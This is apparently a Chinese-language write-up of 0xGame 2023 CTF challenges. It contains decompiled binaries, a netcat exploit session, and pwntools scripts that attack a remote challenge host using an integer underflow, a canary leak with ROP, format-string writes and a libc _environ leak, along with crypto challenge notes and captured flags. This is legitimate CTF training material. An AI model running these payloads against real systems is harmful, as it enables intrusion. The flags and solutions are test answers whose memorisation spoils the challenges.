- int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
- {
- int v3; // [rsp+Ch] [rbp-4h] BYREF
-
- bufinit(argc, argv, envp);
- puts(&byte_2100);
- while ( 1 )
- {
- puts(a1_0);
- puts(a2_0);
- puts(a3);
- printf(">> ");
- __isoc99_scanf(&unk_2099, &v3);
- if ( v3 == 3 )
- exit(0);
- if ( v3 > 3 )
- {
- LABEL_10:
- puts(&byte_2147);
- puts(&byte_209C);
- }
- else if ( v3 == 1 )
- {
- shop();
- }
- else
- {
- if ( v3 != 2 )
- goto LABEL_10;
- haokangde();
- }
- }
- }
- int shop()
- {
- _DWORD *v0; // rax
- int v2; // [rsp+8h] [rbp-8h] BYREF
- int v3; // [rsp+Ch] [rbp-4h] BYREF
-
- printf(&format, (unsigned int)money);
- puts(&byte_2030);
- puts(a1);
- puts(a2);
- puts(a3Flag);
- puts(&byte_2089);
- __isoc99_scanf(&unk_2099, &v3);
- if ( v3 > 0 && v3 <= 3 )
- {
- puts(&byte_20B5);
- __isoc99_scanf(&unk_2099, &v2);
- if ( v2 <= 10 )
- {
- if ( money - price_arr[v3 - 1] * v2 >= 0 )
- {
- money -= price_arr[v3 - 1] * v2;
- v0 = shopping_cart;
- ++shopping_cart[v3 - 1];
- }
- else
- {
- LODWORD(v0) = puts(&byte_20C2);
- }
- }
- else
- {
- LODWORD(v0) = puts(&byte_209C);
- }
- }
- else
- {
- LODWORD(v0) = puts(&byte_209C);
- }
- return (int)v0;
- }
在shop这个函数数量没限制负值,导致可以输入负数量达到增加钱的目的
- ┌──(kali㉿kali)-[~/ctf/1008]
- └─$ nc 8.130.35.16 55002
- 欢迎来到0xGame补给站!
- 1. 购买
- 2. 看好康的
- 3. 退出
- >> 1
- 钱包里有 1000 元
- 商品列表:
- 1. 快乐水 ¥4/瓶
- 2. 大大酥 ¥50/大包
- 3. flag ¥10000000/个
- 想买点啥?
- 2
- 要几个?
- -333333
- 1. 购买
- 2. 看好康的
- 3. 退出
- >> 1
- 钱包里有 16667650 元
- 商品列表:
- 1. 快乐水 ¥4/瓶
- 2. 大大酥 ¥50/大包
- 3. flag ¥10000000/个
- 想买点啥?
- 3
- 要几个?
- 1
- 1. 购买
- 2. 看好康的
- 3. 退出
- >> 2
- 你过来哦......
- 0xGame{f78ad928-29c4-4268-bd80-4fa970456c92}
- int __cdecl main(int argc, const char **argv, const char **envp)
- {
- int v4; // [rsp+8h] [rbp-18h] BYREF
- int i; // [rsp+Ch] [rbp-14h]
- unsigned int v6; // [rsp+10h] [rbp-10h]
- unsigned int v7; // [rsp+14h] [rbp-Ch]
- unsigned __int64 v8; // [rsp+18h] [rbp-8h]
-
- v8 = __readfsqword(0x28u);
- bufinit(argc, argv, envp);
- init_seed();
- puts("Welcome to the calc game!");
- for ( i = 0; i <= 99; ++i )
- {
- v6 = rand();
- v7 = rand();
- printf("====Round %d====\n", (unsigned int)(i + 1));
- printf("%d+%d=", v6, v7);
- __isoc99_scanf("%d", &v4);
- if ( v7 + v6 != v4 )
- {
- puts("Wrong!");
- exit(0);
- }
- puts("Correct!");
- }
- puts("Congratulations! Here's your shell!");
- system("/bin/sh");
- return 0;
- }
一个加法的计算题,就是个编程处理,那边还用上导数呢。这个小意思了
- from pwn import *
-
- p = remote('8.130.35.16', 55001)
- context.log_level = 'debug'
-
- p.recvline()
- for i in range(100):
- p.recvline()
- v = p.recvuntil(b'=', drop=True).split(b'+')
- v = [int(i) for i in v]
- p.sendline(str(sum(v)).encode())
- p.recvline()
-
- p.sendline(b'cat flag')
- p.interactive()
- int __cdecl main(int argc, const char **argv, const char **envp)
- {
- char v4; // [rsp+Fh] [rbp-21h]
- char buf[24]; // [rsp+10h] [rbp-20h] BYREF
- unsigned __int64 v6; // [rsp+28h] [rbp-8h]
-
- v6 = __readfsqword(0x28u);
- bufinit();
- puts("Ur name plz?");
- read(0, buf, 0x100uLL);
- printf("Hello, %s. Is that right?", buf);
- v4 = getchar();
- if ( v4 == 121 || v4 == 89 )
- {
- puts("Then new name plz.");
- read(0, buf, 0x100uLL);
- printf("Hello, %s.", buf);
- }
- puts("Wish you a wonderful day. Bye.");
- return 0;
- }
有溢出,但作了canary防护,不过在循环里可以通过溢出将canary带出,然后再溢出ROP
- from pwn import *
-
- p = remote('8.130.35.16', 55000)
- context(arch='amd64',log_level = 'debug')
-
- p.sendafter(b"Ur name plz?\n", b'A'*25)
-
- p.recvuntil(b'A'*25)
- canary = b'\x00' + p.recv(7)
-
- p.send(b'Y')
- p.sendafter(b"Then new name plz.\n" ,b'A'*24 + flat(canary, 0, 0x401253, 0x401216))
-
- p.sendline(b'cat flag')
- p.interactive()
- #0xGame{e2f82359-ac00-42a9-827e-213467ae840b}
- int __cdecl main(int argc, const char **argv, const char **envp)
- {
- char buf[256]; // [rsp+0h] [rbp-110h] BYREF
- int v5; // [rsp+100h] [rbp-10h] BYREF
- int v6; // [rsp+104h] [rbp-Ch]
- int *v7; // [rsp+108h] [rbp-8h]
-
- bufinit(argc, argv, envp);
- v7 = &v5;
- v6 = 8227;
- v5 = 8447;
- printf("Input your content: ");
- read(0, buf, 0x100uLL);
- printf(buf);
- if ( v6 == v5 )
- {
- puts("Congratulations! Now here is your shell!");
- puts("And welcome to format string world!");
- system("/bin/sh");
- }
- return 0;
- }
通过格式化字符串修改v5,在栈里已经放了*v7指向他,只需要计算偏移
- from pwn import *
-
- p = remote('8.130.35.16', 52000)
- context(arch='amd64',log_level = 'debug')
-
- p.sendafter(b"Input your content: ", b"%40$ln")
-
- p.sendline(b'cat flag')
- p.interactive()
- int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
- {
- char buf[256]; // [rsp+0h] [rbp-100h] BYREF
-
- bufinit(argc, argv, envp);
- while ( 1 )
- {
- do
- {
- printf("Input your content: ");
- read(0, buf, 0x100uLL);
- printf(buf);
- }
- while ( a != -559038737 );
- system("/bin/sh");
- }
- }
小升级版,没有指针了,需要自己泄露加载地址
- from pwn import *
-
- p = remote('8.130.35.16', 52001)
- context(arch='amd64',log_level = 'debug')
-
- #p.sendafter(b"Input your content: ", b"%p,"*0x30)
- p.sendafter(b"Input your content: ", b"%43$p\n\x00")
- addr = int(p.recvline(), 16) - 0x120e
- a_addr = addr + 0x4048
-
- for i,v in enumerate(p32(0xDEADBEEF)):
- p.sendafter(b"Input your content: ", f"%{v}c%8$hhn".ljust(16).encode()+p64(a_addr + i))
-
- p.sendline(b'cat flag')
- p.interactive()
- #0xGame{Not_v3ru_h4Rd_tho_91610enxg}
- int __cdecl main(int argc, const char **argv, const char **envp)
- {
- void *buf[2]; // [rsp+0h] [rbp-10h] BYREF
-
- buf[1] = (void *)__readfsqword(0x28u);
- bufinit(argc, argv, envp);
- printf("Here's your gift: %p\n", &printf);
- puts("You have a chance to arbitrary read 8 bytes.");
- printf("Where do you want to read?");
- __isoc99_scanf("%p", buf);
- printf("Here you are: ");
- write(1, buf[0], 8uLL);
- putchar(10);
- puts("Now show me your magic.");
- printf("Where do you want to place it?");
- __isoc99_scanf("%p", buf);
- puts("Now place it.");
- read(0, buf[0], 0x30uLL);
- printf("Good luck!");
- return 0;
- }
给了libc地址,并可以写一个指针泄露。这里根据名字需要写_environ的地址,然后把栈地址泄露出来,再在栈里写ROP
- from pwn import *
-
- #p = process('./leakenv')
- p = remote('8.130.35.16', 52003)
- context(arch='amd64',log_level = 'debug')
-
- libc = ELF('./libc.so.6')
-
- p.recvuntil(b"Here's your gift: ")
- libc.address = int(p.recvline(), 16) - libc.sym['printf']
-
- p.sendlineafter(b"Where do you want to read?", hex(libc.sym['_environ'])[2:].encode())
-
- p.recvuntil(b"Here you are: ")
- stack = u64(p.recv(8)) - 0x100
- print(f"{stack = :x}")
- #gdb.attach(p, "b*0x5555555553b1\nc")
-
- p.sendlineafter(b"Where do you want to place it?", hex(stack)[2:].encode())
-
- pop_rdi = next(libc.search(asm('pop rdi;ret')))
- bin_sh = next(libc.search(b'/bin/sh\x00'))
- system = libc.sym['system']
- p.send(flat(pop_rdi+1, pop_rdi, bin_sh, system,0,0))
-
- p.sendline(b'cat /flag')
- p.interactive()
-
- #0xGame{A11_1n_ur_l1bc_129eh2v89a0}
- from Crypto.Util.number import *
- import socketserver
- import signal
- #from secret import flag
- import random
- import os
- import string
- from hashlib import sha256
- from string import ascii_uppercase
- from random import shuffle,choice,randint
- import os
- flag = b'flag{..................}'
-
- q = getPrime(512)
- p = getPrime(512)
- e = 65537
- n = q*p
- phi = (q-1)*(p-1)
- d = inverse(e,phi)
-
- def decrypt(c,d,n,index):
- """something go wrong"""
- d_ = d^(1<<(index))
- m_ = pow(c,d_,n)
- return str(m_)
-
- MEMU = """
- Welc0me_2_0xGame2023!
- /----------------------------\\
- | options |
- | [S]ign |
- | [F]ault injection |
- | [C]heck answer |
- \\---------------------------/
- """
-
-
- class Task(socketserver.BaseRequestHandler):
- def proof_of_work(self):
- '''验证函数'''
- random.seed(os.urandom(8))
- proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in range(20)])
- _hexdigest = sha256(proof.encode()).hexdigest()
- self.send(f"[+] sha256(XXXX+{proof[4:]}) == {_hexdigest}".encode())
- x = self.recv(prompt=b'[+] Plz tell me XXXX: ')
- if len(x) != 4 or sha256(x+proof[4:].encode()).hexdigest() != _hexdigest:
- return False
- return True
-
- def _recvall(self):
- BUFF_SIZE = 2048
- data = b''
- while True:
- part = self.request.recv(BUFF_SIZE)
- data += part
- if len(part) < BUFF_SIZE:
- break
- return data.strip()
-
- def send(self, msg, newline=True):
- try:
- if newline:
- msg += b'\n'
- self.request.sendall(msg)
- except:
- pass
-
- def recv(self, prompt=b'> '):
- self.send(prompt, newline=False)
- return self._recvall()
-
- def timeout_handler(self, signum, frame):
- raise TimeoutError
-
- '''以上是交互部分'''
- def handle(self):
- '''题干'''
- signal.signal(signal.SIGALRM, self.timeout_handler)
- signal.alarm(300)
- self.send(MEMU)
- print(d)
- '''
- if not self.proof_of_work():
- self.send(b'[!] Wrong!')
- return
- '''
- self.send(MEMU.encode())
- while True:
- code = self.recv()
- if code == b'S':
- self.send(b'What you want to sign?:')
- m = bytes_to_long(self.recv())
- c = pow(m,e,n)
- self.send(f'{n}\n{e}\n{c}'.encode())
-
- elif code == b'F':
- self.send(b'Give me the Signatrue:')
- Signatrue = int(self.recv())
- self.send(b'Where you want to interfere?')
- index = int(self.recv())
- self.send(b'The decrypt text:')
- self.send(decrypt(Signatrue,d,n,index).encode())
-
- elif code == b'C':
- self.send(b'Give me the private key:')
- ans = int(self.recv())
- if ans == d:
- self.send(b'Here is your flag:')
- self.send(flag)
-
- else:
- self.send(b'invaild input')
-
- class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
- pass
-
- class ForkedServer(socketserver.ForkingMixIn, socketserver.TCPServer):
- pass
-
- if __name__ == "__main__":
- HOST, PORT = '0.0.0.0', 10005
- server = ForkedServer((HOST, PORT), Task)
- server.allow_reuse_address = True
- print(HOST, PORT)
- server.serve_forever()
好长的程序,大概意思就是输入一个位置idx,然后把d与(1< 这里如果d的某一位为1,当异或后变为0,那么这个d就少了1< k*pow(c, 1<
这样就能判断这位是否为1. 程序有个坑点,有人入坑了。题目交互很慢,而d有1000多位,所以一次交互无法完成。这题启动时生成的n,多次连接只要后台不重启就不会变,所以可以多弄两次,每次记一部分下回接着开始就行了。下边这是我第3次的部分,前边的部分d是前两次得到的结果。 这种东西如果不加特殊限制有固定的解法就没难度了。直接矩阵求左。 1,题目给了p+q,p_+q_ 这样可以直接爆破出p,q,p_,q_ 2,由于给的e=4所以要分别对因子求解,然后再用crt 给出了g^A,g^B,让求g^(A*B),由于这里的p很小,可以直接求出A就得到结果了 又是一个很长的题,题分3部分 1,gift = g^(r*(p-1)) mod n 这里可推出 g-1|n 得到分解 2,p-1光滑,可用pollard方法分解 3,n由一个共同的p(经过next)很大和一个随机的q组成,所以两个p相差很小,n1/n2约等于q1/q2可以用连分式法求 由于3步计算时间可能稍长,而数据结果是固定的,可以先取到数据,再上传。 取数据 求值 这段 pyc可以在网站上几乎完美反编译 直接base64 终于一个不用grep作的题 支持程序脱壳的都不是壳。 内容与上题相同,只是key和密文不同 第3周才会上难度。跟羊羊羊似的。EzLFSR
What's CRT?
中间的那个人
EzRSA
REV
符文解密师

编译逆旅者
码海舵师

注册侦探
壳艺大师